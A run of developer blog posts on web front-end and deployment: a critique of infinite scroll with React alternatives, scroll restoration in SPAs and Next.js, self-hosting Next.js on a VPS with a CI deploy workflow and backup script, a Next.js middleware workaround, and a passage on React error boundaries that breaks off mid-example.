
> TL;DR: Infinite scroll looks smooth but it's actually a UX nightmare. Here's why it sucks and what you should use instead (with code examples).

So I was building this feed feature and thought "infinite scroll, that's smooth UX right?" Wrong. So damn wrong.

After implementing it and watching users struggle with it, I realized infinite scroll is one of those things that *sounds* good in theory but falls apart in practice. Let me tell you why.

## Why Infinite Scroll Actually Sucks

I'll be honest - infinite scroll feels cool when you first implement it. But then you watch real users and realize you've created a UX nightmare. Let me break down each problem with real examples.

### Your Users Get Lost in the Void

Picture this: You're building an e-commerce site. User scrolls through 50 products, finds a cool jacket, keeps scrolling, finds some shoes, then wants to go back to that jacket. Good luck! There's no page 3 or page 5 reference. They're just... somewhere in the endless void.

I watched a user in testing scroll up and down for 2 minutes looking for a product they saw earlier. They gave up and left the site. That's a lost sale because of "smooth UX."

Here's what happens in your code:

```jsx
// Your user's mental model: "It was around item 47"
// Your code's reality: "Here's items 1-200 in one giant list"
function ProductList() {
  const [products, setProducts] = useState([]);
  
  // User has no idea where they are in this endless array
  useEffect(() => {
    fetchMoreProducts().then(newProducts => 
      setProducts(prev => [...prev, ...newProducts]) // Just keeps growing
    );
  }, []);

  return (
    <div>
      {products.map((product, index) => (
        // User sees item but has no reference point
        <ProductCard key={product.id} product={product} />
      ))}
    </div>
  );
}
```

### RIP Your Footer (and Everything Important)

This one drives me crazy. You spend time crafting a beautiful footer with important links, contact info, legal stuff, newsletter signup. Then you implement infinite scroll and BAM - nobody will ever see it again.

Real example: I worked on a site where the client complained about low newsletter signups. The signup form was in the footer. With infinite scroll, the footer literally doesn't exist anymore. It's like having a store where the checkout counter keeps moving further away every time someone walks toward it.

```jsx
function App() {
  return (
    <div>
      <Header />
      <InfiniteScrollList />
      {/* This footer will NEVER be seen by users */}
      <Footer>
        <NewsletterSignup />
        <ContactInfo />
        <LegalLinks />
        <SocialMedia />
      </Footer>
    </div>
  );
}
```

The footer becomes digital purgatory. Users can't reach it, search engines can't properly index it, and your conversion rates tank.

### Performance Goes to Hell

Here's where it gets really bad. Your DOM just keeps growing. And growing. And growing. I've seen infinite scroll implementations with 10,000+ DOM nodes. The browser starts crying.

Watch this performance nightmare unfold:

```jsx
function InfiniteList() {
  const [items, setItems] = useState([]);
  const [loading, setLoading] = useState(false);

  const loadMore = async () => {
    setLoading(true);
    const newItems = await fetchItems();
    // This is the problem - we never remove anything
    setItems(prev => [...prev, ...newItems]);
    setLoading(false);
  };

  // After 10 scroll sessions, you have 1000+ DOM nodes
  // Browser: "Please... stop..."
  return (
    <div>
      {items.map(item => (
        <HeavyComponent key={item.id} item={item} />
      ))}
      {loading && <div>Loading...</div>}
    </div>
  );
}
```

I measured one infinite scroll implementation: after 5 minutes of scrolling, the page was using 500MB of memory and scrolling had a 200ms delay. On mobile, it was basically unusable.

### Screen Readers Hate You (And Your Users)

Accessibility isn't just nice-to-have, it's the law in many places. But infinite scroll breaks screen readers in spectacular ways.

Here's what happens: Screen reader user navigates to your content list. They start reading. Suddenly, new content appears and their focus gets lost. They have to start over. New content appears again. They start over again. It's like trying to read a book where someone keeps adding pages in the middle while you're reading.

```jsx
function AccessibilityNightmare() {
  const [items, setItems] = useState([]);
  
  useEffect(() => {
    const observer = new IntersectionObserver(([entry]) => {
      if (entry.isIntersecting) {
        // This completely breaks screen reader navigation
        fetchMoreItems().then(newItems => {
          setItems(prev => [...prev, ...newItems]);
          // Screen reader: "Where am I? What happened to my focus?"
        });
      }
    });
    
    // ... observer setup
  }, []);

  return (
    <div>
      {items.map(item => (
        // Screen reader users lose their place when new items inject
        <div key={item.id} tabIndex={0}>
          {item.content}
        </div>
      ))}
    </div>
  );
}
```

I tested this with VoiceOver on Mac. The experience was so frustrating I wanted to throw my laptop out the window.

### No Bookmarks = No Sharing = No Growth

Users can't bookmark a specific position. They can't share "hey check out this product on page 3." Everything is just one giant URL. 

Real scenario: User finds a perfect product, shares the link with their friend. Friend clicks link, sees the first page of products, has no idea what their friend was talking about. Friend gives up.

```jsx
// User's mental model: "I want to share this specific item"
// Your URL: "https://yoursite.com/products" (useless)
// What they need: "https://yoursite.com/products?page=3&item=47"

function ShareableContent() {
  const [products, setProducts] = useState([]);
  
  // URL never changes, user can't deep-link to specific content
  return (
    <div>
      {products.map(product => (
        <div key={product.id}>
          {product.name}
          {/* This share button is basically useless */}
          <ShareButton url={window.location.href} />
        </div>
      ))}
    </div>
  );
}
```

### Analytics Become Meaningless

How do you measure engagement when there are no pages? How do you know if users are actually finding what they want or just endlessly scrolling because they're lost?

Traditional analytics rely on page views, bounce rates, time on page. Infinite scroll breaks all of that:

```jsx
// Traditional analytics
gtag('config', 'GA_TRACKING_ID', {
  page_title: 'Products - Page 3',
  page_location: 'https://site.com/products?page=3'
});

// Infinite scroll analytics
gtag('config', 'GA_TRACKING_ID', {
  page_title: 'Products - ¯\_(ツ)_/¯',
  page_location: 'https://site.com/products' // Same URL forever
});
```

I worked with a client who couldn't figure out why their conversion rates were so low. Turns out, their analytics showed everyone was "engaged" (long time on page) but really users were just lost and scrolling around confused.

### The Memory Leak Problem

This is the technical nightmare that haunts your 3 AM debugging sessions. Event listeners pile up, components don't unmount properly, and memory usage climbs until your app crashes:

```jsx
function MemoryLeakHell() {
  const [items, setItems] = useState([]);

  useEffect(() => {
    const handleScroll = () => {
      // This function gets called thousands of times
      if (window.innerHeight + window.scrollY >= document.body.offsetHeight) {
        loadMoreItems();
      }
    };

    window.addEventListener('scroll', handleScroll);
    
    // If you forget this cleanup, you're screwed
    return () => window.removeEventListener('scroll', handleScroll);
  }, []);

  const loadMoreItems = () => {
    // Each item might have its own event listeners
    // They all pile up in memory
    setItems(prev => [...prev, ...generateItems()]);
  };

  return (
    <div>
      {items.map(item => (
        <ExpensiveComponent 
          key={item.id} 
          item={item}
          // Each component might have timers, listeners, etc.
          // All staying in memory forever
        />
      ))}
    </div>
  );
}
```

I've debugged production apps where infinite scroll caused memory leaks that crashed the browser tab after 10 minutes of use.

Yeah, I learned all of this the hard way. Each problem individually is annoying, but together they create a user experience that looks smooth on the surface but is actually broken underneath.

## OK But What About The Good Parts?

Look, I get it. Infinite scroll isn't *completely* useless. Here's when it actually makes sense:

**Use it for:**
- Social media feeds where users just want to mindlessly scroll
- Image galleries where you're just browsing casually  
- News feeds where you don't need to reference specific items

**Don't use it for:**
- E-commerce (users need to compare, bookmark, filter)
- Search results (people want to go back and forth)
- Any content with important footer info
- Documentation or blogs where users need to navigate

## The Lazy Implementation (Don't Do This)

Here's what most people do - the naive approach that causes all the problems:

```jsx
import { useEffect, useRef } from 'react';

function InfiniteList({ items, fetchNext }) {
  const loaderRef = useRef(null);

  useEffect(() => {
    const observer = new IntersectionObserver(
      ([entry]) => entry.isIntersecting && fetchNext(),
      { rootMargin: '200px' }
    );
    if (loaderRef.current) observer.observe(loaderRef.current);
    return () => observer.disconnect();
  }, [fetchNext]);

  return (
    <ul>
      {items.map(item => <li key={item.id}>{item.title}</li>)}
      <li ref={loaderRef}>Loading more...</li>
    </ul>
  );
}
```

This looks clean but it's a trap. Your DOM will keep growing, performance will tank, and users will hate you.

## Better Alternatives (Actually Good UX)

Instead of infinite scroll, use these patterns that don't suck:

### 1. "Load More" Button - The Simple Win

Just give users control. They click when they want more content:

```jsx
import { useState, useEffect } from 'react';

function LoadMoreList() {
  const [items, setItems] = useState([]);
  const [page, setPage] = useState(1);

  useEffect(() => {
    fetch(`/api/items?page=${page}`)
      .then(res => res.json())
      .then(data => setItems(prev => [...prev, ...data]));
  }, [page]);

  return (
    <>
      <ul>{items.map(i => <li key={i.id}>{i.title}</li>)}</ul>
      <button onClick={() => setPage(p => p + 1)}>Load More</button>
    </>
  );
}
```

Users stay in control, DOM stays manageable, footer stays accessible. Win-win-win.

### 2. Virtualized Lists - For When You Have Tons of Data

Got thousands of items? Don't render them all at once - that's insane. Use virtualization:

```bash
npm install react-window
```

```jsx
import { FixedSizeList as List } from 'react-window';

function VirtualList({ items }) {
  return (
    <List
      height={600}
      itemCount={items.length}
      itemSize={50}
      width="100%"
    >
      {({ index, style }) => (
        <div style={style}>{items[index].title}</div>
      )}
    </List>
  );
}
```

This is magic - you can have 10,000 items and only render what's visible. Performance stays smooth, users stay happy.

Libraries to try: `react-window`, `react-virtualized`, `react-virtuoso`.

### 3. Good Old Pagination - Still Works Great

Yeah it's not trendy, but pagination is solid:

```js
// Next.js example
export async function getServerSideProps({ query }) {
  const page = query.page || 1;
  const res = await fetch(`https://api.example.com/items?page=${page}`);
  return { props: { items: await res.json(), page } };
}
```

SEO-friendly, shareable URLs, users know where they are. Sometimes boring solutions are the best ones.

### 4. Let Users Filter Instead of Scroll

Instead of making users scroll through everything, let them find what they want:

```jsx
function FilterableList({ items }) {
  const [q, setQ] = useState('');
  const filtered = items.filter(i => i.title.includes(q));
  return (
    <>
      <input value={q} onChange={e => setQ(e.target.value)} placeholder="Search..." />
      <ul>{filtered.map(i => <li key={i.id}>{i.title}</li>)}</ul>
    </>
  );
}
```

Users get to the content they want without endless scrolling. Much better UX.

## Tools That Don't Suck

If you absolutely must do infinite scroll:
- `react-infinite-scroll-component` (least bad option)
- `@tanstack/react-query` with `useInfiniteQuery`
- Use `IntersectionObserver` instead of scroll events
- `throttle`/`debounce` from Lodash for scroll handling

But seriously, try the alternatives first.

## The Bottom Line

Infinite scroll is like that flashy feature that looks good in demos but creates real problems for real users. Your users want to find content, not get lost in an endless void.

Save yourself the headache and use patterns that actually work. Your users (and your performance metrics) will thank you.

Happy coding! 🚀

A critique of infinite scroll patterns and why they can harm user experience.

Why I Hate Infinite Scroll


> TL;DR: Scroll restoration make UX great but it's hard man.

## Scroll and scroll

When you scroll down a page, let's say Google, you click on a search result, you browse in that page, and then you hit the back button, bump! you are at the right position like before you clicked the search result. Now hit the forward button, bump! you are at the last position you were before you hit the back button.

<Video url="/007/scroll-01.mp4" alt="Scroll restoration" className="mx-auto" style={{ maxWidth: '400px' }} />

X (Twitter) did a great job on this thing.

But at the end, seem like normal behavior for all websites, right ?

And then when you access another pages, like a lot of pages !!! Then back and forth just always at the top of the page, it's annoying and driving me crazy.

That's is **scroll restoration**. It's help:

- **Preserve Context:** When navigating back and forth, users expect to see the same content position where they left off.
- **Improve Perceived Performance:** A smooth transition that restores scroll position can make an app feel faster and more responsive.
- **Bridge SPA Limitations:** In SPAs, routes change without a full page reload, which means the browser's default scroll restoration may not work as expected—it's up to the developer to manage it.

In short, Scroll restoration is the process of restoring the scroll position of a page when the user navigates back to it.

## Browser's default scroll restoration

Browsers have a built-in mechanism to track scroll positions for each page in the session history. Here's how it works:

- **History Entries:** Every time you navigate, the browser creates a history entry that includes the current scroll position (usually stored as vertical and horizontal offsets).

- **Native Restoration:** For traditional multi-page applications, the browser automatically restores the scroll position when you use the back/forward buttons.

- **The `scrollRestoration` API:** Modern browsers offer the `window.history.scrollRestoration` property, which allows you to toggle the default behavior:

|  | auto | manual |
| -------- | -------- | -------- |
| Behavior | The browser restores the scroll position with tracked scroll position | The browser does not restore the scroll position |
| When to use | When you want the browser default behavior | When you want to implement your own scroll restoration logic |

In normal websites (static HTML), you don't need to care about this thing, it just works.

But in SPAs, it's another story.

## SPA and scroll restoration

In SPAs, the auto scroll restoration is mostly not working as expected. It's because:

- SPAs typically use the history.pushState API for navigation, so the browser doesn't know to restore the scroll position natively
- SPAs sometimes render content asynchronously, so the browser doesn't know the height of the page until after it's rendered
- SPAs can sometimes use nested scrollable containers to force specific layouts and features.

TanStack router did [a great job](https://tanstack.com/router/v1/docs/framework/react/guide/scroll-restoration#scroll-restoration) on explaining this.

So, you (or the library you're using) need to implement your own scroll restoration logic.

If you're using `react-router-dom` (or `react-router` now, yeah, it's confusing as [hell](https://remix.run/blog/merging-remix-and-react-router)), it already support scroll restoration with `<ScrollRestoration />` component

The implementation of this component is quite interesting, you can check it out [here](https://github.com/remix-run/react-router/blob/a3e4b8ed875611637357647fcf862c2bc61f4e11/packages/react-router/lib/dom/lib.tsx#L1160).

But it's implement is not easy to understand, because so much edge cases to cover.

So, here is a simple implementation of it:

```javascript
import { useEffect, useRef } from 'react';
import { useLocation } from 'react-router-dom';

function useScrollRestoration() {
  // Get the current location object from react-router-dom.
  // This object changes whenever the route in the application changes.
  const location = useLocation();

  // useRef is used to create a mutable object that persists across renders.
  // Here, it's used to store scroll positions for different paths.
  // `scrollPositions.current` will be an object where keys are pathnames
  // and values are objects containing x and y scroll positions.
  const scrollPositions = useRef({});

  // This effect runs on every route change.
  useEffect(() => {
    // -------------------- RESTORATION LOGIC (Runs on route change) --------------------
    // When the route changes (component renders for a new route), this effect runs.
    // We check if there's a saved scroll position for the *current* pathname.
    if (scrollPositions.current[location.pathname]) {
      // If a saved scroll position exists for this path, restore it.
      // `window.scrollTo()` is a browser API to scroll to a specific position.
      window.scrollTo(scrollPositions.current[location.pathname]);
    } else {
      // If no saved scroll position is found for this path (e.g., first visit to this route),
      // optionally scroll to the top of the page. This is common behavior for new routes.
      window.scrollTo(0, 0);
    }

    // -------------------- SAVING LOGIC (Cleanup function runs before next effect) --------------------
    // The return value from useEffect is a cleanup function.
    // This function runs BEFORE the next effect runs (i.e., before the component re-renders because of a route change).
    // This is CRUCIAL for saving the scroll position of the page *before* we navigate away from it.
    return () => {
      // In the cleanup function, we save the *current* scroll position.
      // We use `window.scrollX` and `window.scrollY` to get the current horizontal and vertical scroll positions.
      scrollPositions.current[location.pathname] = {
        x: window.scrollX,
        y: window.scrollY,
      };
    };
  }, [location]);

  return null;
}

// Then in your root component
import { useScrollRestoration } from './useScrollRestoration';

const App = () => {
  useScrollRestoration();
  // Other logic
}
```

The main idea is:
- Save the scroll position before navigating away from a route
- Restore the scroll position when navigating back to that route

But how about server-side rendering (SSR) app ? This custom hook depends on the `location` object, and the `location` object is not available on the server.

Also, in SSR app, when you navigate on client-side, then hard reload, their is no way to know the scroll position to restore.

## Scroll restoration in NextJS

In case you don't know, NextJS do support scroll restoration, but it behind a experimental flag and they even don't document it !!

You have to search through the github discussions and the source code to find [it](https://github.com/vercel/next.js/blob/canary/packages/next/src/server/config-shared.ts#L1212).

Yeah I know it experimental, mean it not production ready yet, but hey, better than nothing right ? I enable this "experimental" feature in all of my NextJS app, and it works like a charm.

Let's see how Next team implement it.

From the `config-shared.ts` file, you can follow the reference to the `router.ts` file that contains the main logic to handle scroll restoration. To easy navigate, you can search for `process.env.__NEXT_SCROLL_RESTORATION` in the codebase.

First, look at the `manualScrollRestoration` variable. We see `sessionStorage` is used to save the scroll position.

They use a IIFE to check if the `sessionStorage` is available and if the `scrollRestoration` property is supported by the browser. Quite clever.


```typescript
const manualScrollRestoration =
  process.env.__NEXT_SCROLL_RESTORATION &&
  typeof window !== 'undefined' &&
  'scrollRestoration' in window.history &&
  !!(function () {
    try {
      let v = '__next'
      // eslint-disable-next-line no-sequences
      return sessionStorage.setItem(v, v), sessionStorage.removeItem(v), true
    } catch (n) {}
  })()
```

And then, they set `history.scrollRestoration` mode:

```typescript
if (process.env.__NEXT_SCROLL_RESTORATION) {
  if (manualScrollRestoration) {
    window.history.scrollRestoration = 'manual'
  }
}
```

Now to the most interesting part, on the `onPopState` and `onPush` event, they perform the scroll restoration logic:

```typescript
let forcedScroll: { x: number; y: number } | undefined
const { url, as, options, key } = state
if (process.env.__NEXT_SCROLL_RESTORATION) {
  if (manualScrollRestoration) {
    if (this._key !== key) {
      // Snapshot current scroll position:
      try {
        sessionStorage.setItem(
          '__next_scroll_' + this._key,
          JSON.stringify({ x: self.pageXOffset, y: self.pageYOffset })
        )
      } catch {}

      // Restore old scroll position:
      try {
        const v = sessionStorage.getItem('__next_scroll_' + key)
        forcedScroll = JSON.parse(v!)
      } catch {
        forcedScroll = { x: 0, y: 0 }
      }
    }
  }
}

// push
push(url: Url, as?: Url, options: TransitionOptions = {}) {
  if (process.env.__NEXT_SCROLL_RESTORATION) {
    // TODO: remove in the future when we update history before route change
    // is complete, as the popstate event should handle this capture.
    if (manualScrollRestoration) {
      try {
        // Snapshot scroll position right before navigating to a new page:
        sessionStorage.setItem(
          '__next_scroll_' + this._key,
          JSON.stringify({ x: self.pageXOffset, y: self.pageYOffset })
        )
      } catch {}
    }
  }
  ;({ url, as } = prepareUrlAs(this, url, as))
  return this.change('pushState', url, as, options)
}
```

`key` just a random string generated by `Math.random().toString(36).slice(2, 10)`

And you can see they save the scroll position before navigating in `sessionStorage`.

NextJS check a lot of edge cases to decide whether to scroll or not, and if it should, where to scroll. This is following priority to decide:

- Scroll to scroll position in `forcedScroll`
- Scroll to hash in URL
- Scroll to top of the page

You can check the `subscription` function of `Router` class to deep dive more how they handle these edge cases.

After read all these logics, I understand why they keep this feature behind a experimental flag. For SSR app, it's not that simple to implement.

Happy coding and make scroll restoration great again 💪





Scroll restoration in SPAs


> TL;DR: How to self-host Next.js (using the page router) for 5k users per day

- OS: Ubuntu (latest LTS version)
- CDN: Cloudflare
- Deploy: Docker
- Reverse proxy: NGINX
- Database: PostgreSQL
- Monitoring: New Relic, Sentry
- Logging: Telegram
- Backup: Cloudflare R2
- Secure: UFW, Fail2Ban, VPS Firewall

# Why did I write this blog?

I'm a big fan of Next.js, and I'm also a big fan of self-hosting. I learned so much when I self-hosted my app on a VPS instead of just hitting the deploy button on Vercel.

When do you need to self-host your Next.js app?

- You want to have full control over your app.
- Your app consumes a huge amount of resources and bandwidth.
- You want to learn more about DevOps.
- You want to host a database on the same VPS.

Other blogs may guide you on how to set up your Next.js app on a VPS, but I want to walk you through setting up your Next.js app end-to-end—from deploying it and auto-deploying it to securing and scaling it.

We will make it work > optimize it > secure it > make it fast > make it stable.

Let's go 🏃‍➡️

# 1. Make it work

## Pick a provider

From personal experience, I recommend these providers as they offer the best price/performance ratio:

- [DigitalOcean](https://m.do.co/c/d30271821d1e): Great UI, super stable, free DDoS protection.
- [Linode](https://www.linode.com/): Great price, great performance, free DDoS protection.
- [Vultr](https://www.vultr.com/): Great price, great performance, DDoS protection for $10/month.

I would recommend DigitalOcean because it's the easiest to use, stable, and its free DDoS protection is a big plus. Additionally, it provides many other services like managed databases, app platforms, functions, etc. Everything comes with a great UI and is very user friendly.

For one Next.js app plus one database, a $6 plan with 1 vCPU, 1GB RAM, and 25GB SSD storage should be enough.

You can use my referral link to get $200 credit (60 days) for free: [DigitalOcean](https://m.do.co/c/d30271821d1e)

<Image src="/006/004.jpg" alt="DigitalOcean" />

## Set up your VPS

Now, let's set up your VPS. This is my recommended setup:

- Docker: For easy deployment and management.
- NGINX: Reverse proxy.
- PostgreSQL: Database.
- UFW, Fail2Ban: For security.
- VPS Firewall: Use your provider's firewall and, if using Cloudflare, allow only Cloudflare IPs.

You may wonder why we even need Docker for a single, small Next.js app. Isn't that overkill?  
But hear me out—even though you might have a $5 VPS, it won't appreciate you when building the black hole of dependencies in your app. The build step consumes a huge amount of resources, and many times my build step failed due to [JavaScript heap out of memory](https://github.com/vercel/next.js/discussions/12165).

Check out this script [deploy.sh](https://github.com/leerob/next-self-host/blob/main/deploy.sh) to automate the setup process of your server.

## Run your Next.js app

For reference, I think the best template is [Leerob's template](https://github.com/leerob/next-self-host).

<Image src="/006/002.jpg" alt="Deploy" />

For auto-deployment, it's better to have GitHub Actions build your app, dockerize it, push the image to a private registry, and then on your VPS, you simply pull the image and run it. Next.js's build step is a nightmare for a $5 VPS.

This is my GitHub Actions workflow for auto-deploying each time I push to the `main` branch. It builds the app, dockerizes it, pushes the image to GitHub Package Registry, then SSH's into your VPS to pull the image and run it.

<Image src="/006/001.jpg" alt="Deploy" />

You will need to set up the following secrets in your GitHub repository:

- `GITHUB_TOKEN`: (Automatically generated by GitHub)
- `SSH_HOST`: Your VPS IP address.
- `SSH_USERNAME`: Your VPS username.
- `SSH_PORT`: Your VPS port.
- `SSH_PRIVATE_KEY`: Your VPS private key.

```yaml
name: Build and Deploy to VPS

on:
  push:
    branches:
      - main

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

jobs:
  build-and-deploy:
    runs-on: ubuntu-latest

    permissions:
      contents: read
      packages: write

    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Log in to the Container registry
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract metadata (tags, labels) for Docker
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
          tags: |
            type=ref,event=branch

      - name: Build and push Docker image
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}

      - name: SSH into VPS then pull image and run
        id: deploy
        uses: appleboy/ssh-action@v1.0.0
        env:
          IMAGE_TAG: ${{ steps.meta.outputs.tags }}
          GITHUB_USERNAME: ${{ github.actor }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          host: ${{ secrets.SSH_HOST }}
          username: ${{ secrets.SSH_USERNAME }}
          key: ${{ secrets.SSH_PRIVATE_KEY }}
          port: ${{ secrets.SSH_PORT }}
          envs: GITHUB_USERNAME, GITHUB_TOKEN, IMAGE_TAG
          script: |
            echo $GITHUB_TOKEN | docker login ghcr.io -u $GITHUB_USERNAME --password-stdin
            docker pull ghcr.io/$GITHUB_USERNAME/$IMAGE_NAME:$IMAGE_TAG
            docker stop $(docker ps -a -q)
            docker system prune -f
            docker run --name next-app -dit ghcr.io/$GITHUB_USERNAME/$IMAGE_NAME:$IMAGE_TAG
```

# 2. Make it optimize

## Avoid Unnecessary Requests Hitting Your Server

To reduce the load on your VPS, you need to make some changes to avoid unnecessary requests.

Next.js (using the page router) has several kinds of requests:
- `/{page_name}`: normal page requests
- `/{static_files}`: static files in the public folder
- `/api/*`: API route requests
- `/_next/image`: optimized images
- `/_next/static`: static files
- `/_next/data`: data fetching

If you proxy your server through Cloudflare (and you should), you can use Cloudflare's CDN to cache your static files and images.

Cloudflare CDN already caches all of your static files (JS, CSS, fonts) by default as their filenames are hashed when the content changes. However, for files in the public folder and for `/_next/image`, you need to set custom cache rules.

- For files in the public folder, you can place them in a specific subfolder (such as `public/__images`) and set a cache rule to cache them for one year. Note that if you want to update them, you **need to use a different name** to avoid cache hits that would show outdated content.
- For `/_next/image`, you can set a cache rule to cache them for one year—either by ignoring the cache-control header or by setting a fixed TTL.

### Avoid Unnecessary Server-Side Rendering

Believe me, SSR consumes a lot of resources, and it is not advisable to use it for every page of your app.

- Use [Static Site Generation (SSG)](https://nextjs.org/docs/pages/building-your-application/data-fetching/static-site-generation) for pages that are static.
- Use [Incremental Static Regeneration (ISR)](https://nextjs.org/docs/pages/building-your-application/data-fetching/incremental-static-regeneration) for pages that can be pre-rendered at build time but also updated on demand.

Mastering ISR can be a little tricky, but it's worth it.

# 3. Make it secure

## Secure your server

### UFW

DigitalOcean has a [great tutorial on how to set up UFW on Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu).

**Make sure to allow the SSH port (22) before enabling UFW, or you will not be able to SSH into your server.**

*Note:* When you use Docker, it uses iptables directly and UFW might not work as expected. You may need to use `iptables` to manage port access.

### Fail2Ban

Your server is exposed to the internet, and someone could attempt to brute-force SSH to guess the password. Use [Fail2Ban](https://github.com/fail2ban/fail2ban) to block an IP address after a certain number of failed attempts.

Again, DigitalOcean has a [great tutorial on how to set up Fail2Ban on a Linux server](https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server).

### VPS Firewall

Every VPS provider offers a firewall to control incoming and outgoing traffic.  
If you use Cloudflare, set up the firewall to allow only traffic from Cloudflare's IP addresses ([Cloudflare IPs](https://www.cloudflare.com/ips/)). This prevents direct traffic to your server's IP.

# 4. Make it fast

## Caching

[... additional content about caching ...]

# 5. Make it stable

## Monitoring

### New Relic

New Relic has a generous free tier and is very simple to set up. You can use it to monitor your server, your app, your database, etc.  
I use it to monitor my server and containers.

### Sentry

Sentry has become the de facto standard for error monitoring. It is very easy to set up and free for small usages. However, honestly, the free tier isn't enough for me, so I log errors to Telegram.

## Logging

I log everything in my app using a Telegram bot. It's simple, and many SDKs support it.  
Note that Telegram has a rate limit, so make sure to configure it correctly to avoid hitting that limit. (I use a queue with BullMQ to send messages.)

## Backup

As you run your database on the server, it is essential to back it up.

You can use any S3-compatible storage for backups. I use Cloudflare R2 for mine.

I set up a JavaScript script to run as a cron job to back up my database every day at 12:00 AM UTC. PM2 makes this easy.

```javascript
// backup.js
const fs = require("fs");
const path = require("path");
const dayjs = require("dayjs");
const mysqldump = require("mysqldump");
const { S3Client, PutObjectCommand } = require("@aws-sdk/client-s3");

const s3 = new S3Client({ ... });
const dbConnection = '...';

const FOLDER_PATH = "/path_backup";
const fileName = `${dayjs().format("DD_MM_YYYY_HH_mm_ss")}_backup.sql`;
const backupPath = path.join(FOLDER_PATH, fileName);

if (!fs.existsSync(FOLDER_PATH)) {
  fs.mkdirSync(FOLDER_PATH);
}

console.log(">>> Start backup database ...");

mysqldump({
  connection: dbConnection,
  dumpToFile: backupPath,
})
  .then(async () => {
    const fileSize = fs.statSync(backupPath).size;

    console.log(`>>> Backup file ${backupPath} created successfully`);
    console.log(`>>> Backup file size ${fileSize}`);

    // upload the file to S3
    const fileBuffer = fs.readFileSync(backupPath);

    const command = new PutObjectCommand({
      Bucket: 'your_buck_name',
      Key: fileName,
      Body: fileBuffer,
    });
    await s3.send(command);

    console.log(`✅ Backup file ${fileName} uploaded to S3 successfully`);

    fs.unlinkSync(backupPath);
  })
  .catch((error) => {
    console.log(`❌ Error creating backup file: ${error}`);
  });
```

```bash
pm2 start backup.js --cron "0 0 * * *"
```

Happy coding! 🚀




How to self-host Next.js on a VPS end-to-end

Self-Hosting Next.js on a VPS - End-to-End


> TL;DR: Next.js's middleware only allows access to a limited subset of Node.js APIs. If you need to access the full Node.js API, you must use a workaround or implement a custom server for your Next.js app. 

### Problem
Let's say you want to implement rate limiting for your Next.js app, store data in Redis, and also use the same connection pool for your API route. It seems like a perfect case for using Next.js middleware, right?

```js
// middleware.ts
import Redis from "ioredis";

export const redis = new Redis('redis://localhost:6379');

const rateLimitCheck = (ip: string) => {
  // some logic to check the rate limit
  if (valid) {
    return true;
  }
  return false;
}

export async function middleware(req) {
  const res = NextResponse.next();
  const ip = req.ip;
  if (rateLimitCheck(ip)) {
    return res;
  }
  return new Response('Too many requests', { status: 429 });
}
```

This code seems totally fine—but it won't work. When you run it, you will see an error explaining that middleware cannot handle the Redis import because some API is missing in the middleware runtime. This is because `ioredis` uses some Node.js APIs that Vercel's Edge runtime doesn't support, so there is no way to use `ioredis` in Next.js middleware. That was very frustrating to realize.

Moreover, the community is also complaining about this. One of the most upvoted and reacted-to issues is [here](https://github.com/vercel/next.js/discussions/46722). Next.js's team knows about this but decided to put it deep in their backlog—offering only promises like "we're working on it" and "it's on our roadmap." But trust me, it's been years and nothing has changed.

So, we must save ourselves and find a workaround.

### Workaround

Implement your logic in an API route, and then call that API route from middleware. It may seem like a crazy, anti-pattern solution, but it works.

```ts
// api/rate-limit.ts
import Redis from "ioredis";

export const redis = new Redis('redis://localhost:6379');

const rateLimitCheck = (ip: string) => {
  // some logic to check the rate limit
  if (valid) {
    return true;
  }
  return false;
}

export async function GET(req: NextApiRequest, res: NextApiResponse) {
  // Get the IP from request query params
  const ip = req.query.ip;
  if (rateLimitCheck(ip)) {
    return res.status(200).json({ success: true });
  }
  return res.status(429).json({ success: false });
}

// middleware.ts
export async function middleware(req) {
  const res = NextResponse.next();
  const ip = req.ip;
  const response = await fetch(`${process.env.YOUR_DOMAIN}/api/rate-limit?ip=${ip}`);
  const data = await response.json();
  if (data.success) {
    return res;
  }
  return new Response('Too many requests', { status: 429 });
}
```

### Long term solution

The best solution is to use a full Node.js server for your Next.js app so you can use the entire Node.js API. You can use a [custom server](https://nextjs.org/docs/pages/building-your-application/configuring/custom-server) with Next.js, but you'll need to do some additional work to make it work.

> ⚠️ Custom servers have some undocumented issues. As you know, Vercel does not prioritize supporting custom servers as much as the community would like, so be prepared for some headaches in production when converting from `next start` to `node server.ts`.

Below is an example of a custom server for Next.js with Express:

```ts
// server.ts
import express from 'express';
import next from 'next';
import Redis from 'ioredis';

const app = next({ dev: process.env.NODE_ENV !== 'production' });
const handle = app.getRequestHandler();
// Work normally without the weird edge runtime limitations
const redis = new Redis(process.env.REDIS_URL);

app.prepare().then(() => {
  const server = express();
  server.all('*', (req, res) => {
    if (req.path.startsWith('/api/')) {
      // add your rate limit logic here
      // redis...
    } 
    return handle(req, res);
  });
});
```

Happy coding! 🚀




Next.js Middleware – Full Node.js Access


> TL;DR: React's `ErrorBoundary` only catches errors that occur during the rendering phase—not errors that occur in event handlers. Use the `react-error-boundary` library to handle errors in event handlers.

When I read about React's error boundaries, I thought I could simply wrap my component with an `ErrorBoundary` and every JavaScript error would be caught and handled. It made sense, right?

But that's not how it works. Let's go through a common mistake and learn how to use the `ErrorBoundary` component properly.

### React's ErrorBoundary

Let's say you already have a standard `ErrorBoundary` component like this:

```jsx
class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props);
    this.state = { hasError: false };
  }

  static getDerivedStateFromError(error) {
    return { hasError: true };
  }

  componentDidCatch(error, errorInfo) {
    console.error(error, errorInfo);
  }

  render() {
    if (this.state.hasError) {
      return <h1>Something went wrong.</h1>;
    }

    return this.props.children;
  }
}
```

And then you use it to wrap your component like this:

```jsx
import ErrorBoundary from './ErrorBoundary';

const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');

  const onClick = () => {
    try {
      // You would expect that this error will be caught by the ErrorBoundary, right?
      throw new Error('Some error');
    } catch (error) {
      console.error(error);
    }
